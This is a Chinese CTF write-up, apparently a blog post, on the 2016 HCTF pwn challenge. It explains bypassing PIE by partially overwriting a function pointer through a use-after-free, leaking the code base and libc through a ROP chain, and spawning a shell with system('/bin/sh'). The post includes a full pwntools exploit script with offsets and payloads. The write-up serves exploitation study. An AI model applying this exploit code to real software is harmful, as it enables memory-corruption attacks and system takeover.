美文网首页
覆盖低位泄露.text地址绕过PIE(ASLR)

覆盖低位泄露.text地址绕过PIE(ASLR)

作者: BJChangAn | 来源:发表于2017-12-24 22:48 被阅读0次

    2016年hctf的一道pwn题就是干,同时涉及到PIE绕过、uaf、ROP的姿势,先看下防护基本上都开了:

    程序本身功能比较简单:

    所有的string用一个str_list来存储

    0x00 泄露代码段地址

    create string时,如果用户的数据长度大于15字节,就会malloc相应大小的内存,否则直接放到str_list中。同时把相应的delete函数也放到str_list中,而delete的时候直接执行这个函数指针。这就使我们可以进行uaf利用。

    现在我们已经可以覆盖delete函数了,但是程序开启了PIE(ASLR),不能直接覆盖成我们想要的函数,首先要绕过PIE的防护。

    libc每次加载基址会发生变化也是一种ASLR。开启了PIE后的地址,和libc加载时一样,都是在一个内存页的单位上进行变化,即地址的低三位(4KB=0x1000)是不变化的,所以我们可以通过溢出只覆盖已有地址的低三位(实际上只能覆盖低两位也就是一个字节)来控制流程。

    例如这道题里,delete函数低位是d52

    delete string的内容其实就是调用delete_func指针,参数是当前string的堆块,即delete_func(str_list[i])

    在d2d的位置恰好有一个call _puts的指令可以用于泄露,而且位于main函数的循环中,可以进行下一步利用

    覆盖之后,delete_fuc(str_list[i])就变成了puts(str_list[i]),如果把delete函数指针之前的24字节填充成不为零的话,puts会一直打印直到泄露出整个puts的函数指针,减去0xd2d就是代码段的基址。

    0x02 构造ROP

    回过头看delete string函数:

    输入yes的时候,后面允许继续构造数据,而如果我们把delete_fuc函数指针覆盖为pop pop retn一类的rop来抬高栈顶,从而有可能返回到栈中我们构造的rop链去执行。

    这里只需要一个pop pop pop pop retn的rop就可以返回到buff+8去执行,我们就可以在buff+8开始构造一个泄露free实际地址的rop链,泄露出puts地址后在到libc db去查询libc版本(出的writeup里用格式化字符串实现leak然后DynELF对于新来说有点开上帝视角了>^<!)

    rop=p64(base_addr+0x11e3) #pop rdi ; retn

    rop+=p64(base_addr+0x202018) #free got

    rop+=p64(base_addr+0x990) #puts plt

    rop+=p64(base_addr+0xc71) #retn to main

    0x03 get shell

    from pwn import *

    p=process('./pwn-f')

    libc=ELF('./libc6_2.23.so')

    def create(size,data):

           p.recvuntil('3.quit')

           p.sendline('create ')

           p.recvuntil('Pls give string size:')

           p.sendline(str(size))

           p.recvuntil('str:')

           p.send(data)

    def delete(index,yes):

            p.recvuntil('3.quit')

            p.sendline('delete ')

            p.recvuntil('id:')

            p.sendline(str(index))

            p.recvuntil('Are you sure?:')

            p.sendline(yes)

    create(8,'a'*8)

    create(8,'b'*8)

    create(8,'c'*8)

    delete(1,'yes')

    delete(0,'yes') #

    create(25,'A'*24+'\x2d')

    delete(1,'yes')

    p.recvuntil('A'*24)

    base_addr=u64(p.recv(6).ljust(8,'\x00'))-0xd2d

    print '.text base: ',hex(base_addr)

    print 'str list addr: ',hex(base_addr+0x2020c0)

    delete(1,'yes')

    delete(0,'yes')

    create(32,'1'*24+p64(base_addr+0x11dc)) #

    rop=p64(base_addr+0x11e3) #pop rdi ; retn

    rop+=p64(base_addr+0x202018) #free got

    rop+=p64(base_addr+0x990) #puts plt

    rop+=p64(base_addr+0xc71) #retn to main

    delete(1,'yes'+'\x90'*5+rop)

    free_addr=u64(p.recv(6).ljust(8,'\x00'))

    print hex(free_addr)

    libc_base=free_addr-libc.symbols['free']

    system_addr=libc_base+libc.symbols['system']

    sh_addr=libc_base+next(libc.search('/bin/sh'))

    print 'system address: ',hex(system_addr)

    print '/bin/sh address: ',hex(sh_addr)

    #gdb.attach(p,'b* '+hex(base_addr+0xd95))

    delete(1,'yes'+'\x90'*5+p64(base_addr+0x11e3)+p64(sh_addr)+p64(system_addr))

    p.interactive()

    相关文章

      网友评论

          本文标题:覆盖低位泄露.text地址绕过PIE(ASLR)

          本文链接:https://www.haomeiwen.com/subject/wgzhgxtx.html